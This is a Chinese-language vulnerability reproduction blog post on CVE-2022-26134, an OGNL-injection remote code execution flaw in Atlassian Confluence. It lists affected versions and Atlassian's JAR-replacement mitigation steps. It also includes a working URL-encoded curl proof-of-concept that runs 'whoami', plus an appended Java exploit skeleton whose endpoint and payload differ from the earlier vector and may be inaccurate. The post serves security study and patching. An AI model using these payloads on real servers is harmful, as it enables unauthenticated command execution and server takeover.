Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)漏洞复现

本文详细介绍了Atlassian Confluence的严重远程代码执行漏洞CVE-2022-26134,影响多个版本。漏洞利用涉及OGNL注入,允许未经授权的攻击者执行命令并接管服务器。修复措施包括下载并替换特定JAR文件,以及检查文件权限。建议受影响的用户立即采取行动更新或修补系统。

免责声明:

本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)漏洞复现

漏洞概述:

CVE-2022-26134的漏洞是一个严重的未经身份验证的远程代码执行漏洞,通过 OGNL 注入利用并影响 1.3.0 版之后的所有 Atlassian Confluence 和 Data Center 2016 服务器。成功利用允许未经身份验证的远程攻击者创建新的管理员帐户、执行命令并最终接管服务器。

影响版本:

  • 1.3.0 <= Confluence Server and Data Center < 7.4.17

  • 7.13.0 <= Confluence Server and Data Center < 7.13.7

  • 7.14.0 <= Confluence Server and Data Center < 7.14.3

  • 7.15.0 <= Confluence Server and Data Center < 7.15.2

  • 7.16.0 <= Confluence Server and Data Center < 7.16.4

  • 7.17.0 <= Confluence Server and Data Center < 7.17.4

  • 7.18.0 <= Confluence Server and Data Center < 7.18.1

漏洞复现:

利用POC:

该命令是执行whoami并将其存储在 X-Cmd-Response HTTP标头中。

curl -v http://10.10.1.105:8090/%24%7BClass.forName%28%22com.opensymphony.webwork.ServletActionContext%22%29.getMethod%28%22getResponse%22%2Cnull%29.invoke%28null%2Cnull%29.setHeader%28%22X-Cmd-Response%22%2CClass.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var%20d%3D%27%27%3Bvar%20i%20%3D%20java.lang.Runtime.getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%3B%20while%28i.available%28%29%29d%2B%3DString.fromCharCode%28i.read%28%29%29%3Bd%22%29%29%7D/

利用过程:

在这里插入图片描述
在这里插入图片描述

修复建议:

对于 Confluence 7.15.0 - 7.18.0
如果你在集群中运行 Confluence,你需要在每个节点上重复这个过程。您无需关闭整个集群即可应用此缓解措施。

  1. Shut down Confluence.

  2. 将以下 1 个文件下载到 Confluence 服务器:
    xwork-1.0.3-atlassian-10.jar

  3. 删除(或将以下JAR移出Confluence 安装目录):
    <confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar

  4. 将下载的xwork-1.0.3-atlassian-10.jar复制到<confluence-install>/confluence/WEB-INF/lib/

  5. 检查新xwork-1.0.3-atlassian-10.jar文件的权限和所有权是否与同一目录中的现有文件匹配。

  6. Start Confluence.

对于 Confluence 7.0.0 - Confluence 7.14.2

  1. Shut down Confluence.
  2. 将以下 3 个文件下载到 Confluence 服务器:
    xwork-1.0.3-atlassian-10.jar
    webwork-2.1.5-atlassian-4.jar
    CachedConfigurationProvider.class
  3. 删除(或将以下 JAR 移到 Confluence 安装目录之外):
    <confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3.6.jar
    <confluence-install>/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar
    ❗不要在目录中留下旧 JAR 的副本。
  4. 将下载的xwork-1.0.3-atlassian-10.jar复制到/confluence/WEB-INF/lib/
  5. 将下载的webwork-2.1.5-atlassian-4.jar复制到/confluence/WEB-INF/lib/
  6. 检查两个新文件的权限和所有权是否与同一目录中的现有文件匹配。
  7. 切换到目录/confluence/WEB-INF/classes/com/atlassian/confluence/setup
    1.创建一个名为的新目录webwork
    2.将CachedConfigurationProvider.class复制到/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork
    3.确保权限和所有权正确:
    <confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork
    <confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork/CachedConfigurationProvider.class
  8. Start Confluence.

使用抖音扫一扫关注我,带你学习网安知识,渗透实战,红队技巧。
在这里插入图片描述

参考

https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
https://mp.weixin.qq.com/s/tCvvvGUO4XfV8TnOrPkTcg
https://gist.github.com/jbaines-r7/a95ab29995eba3306169e755d8b3e92c

CVE-2022-26134 是一个与 Atlassian Confluence 相关的远程代码执行(RCE)漏洞。攻击者可以利用该漏洞在受影响的 Confluence 服务器上执行任意代码。为了利用此漏洞安全研究人员和渗透测试人员开发了相关的漏洞利用工具。 命令 `java.exe -jar CVE-2022-26134.jar` 通常用于运行一个基于 Java 编写的漏洞利用工具,该工具通过命令行调用 JAR 文件来实现对目标系统的攻击。此类工具通常包含恶意负载(payload),并通过构造特定的 HTTP 请求触发 Confluence 的 OGNL 解析漏洞,从而实现远程代码执行。 这类工具的具体实现可能来源于 GitHub 上公开的漏洞 PoC 或 Exploit 模板[^1],其核心逻辑包括: - 发送构造的 HTTP 请求以触发 OGNL 注入。 - 在请求参数中嵌入恶意表达式,例如 `${@java.lang.Runtime.getRuntime().exec(...)}`。 - 利用 Confluence 的某些接口未正确过滤用户输入的问题,绕过限制并执行任意命令。 以下是一个简化版的 Java 示例代码片段,展示了如何使用 `HttpURLConnection` 构造请求来尝试利用该漏洞: ```java import java.io.*; import java.net.*; public class CVE202226134Exploit { public static void main(String[] args) throws Exception { String target = "http://example.com"; String payload = "${@java.lang.Runtime.getRuntime().exec('calc')}"; URL url = new URL(target + "/pages/doeditpage.action"); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); String postData = "content=" + payload; OutputStreamWriter writer = new OutputStreamWriter(conn.getOutputStream()); writer.write(postData); writer.flush(); BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); String line; while ((line = in.readLine()) != null) { System.out.println(line); } writer.close(); in.close(); } } ``` 此类工具的使用通常需要满足以下条件: - 目标系统运行的是存在漏洞Confluence 版本。 - 攻击者能够访问目标的 `/pages/doeditpage.action` 接口。 - 目标系统未打补丁或未配置适当的安全防护措施。 需要注意的是,这些工具主要用于渗透测试和安全研究目的。未经授权地对非授权系统进行测试是非法行为。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安君

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值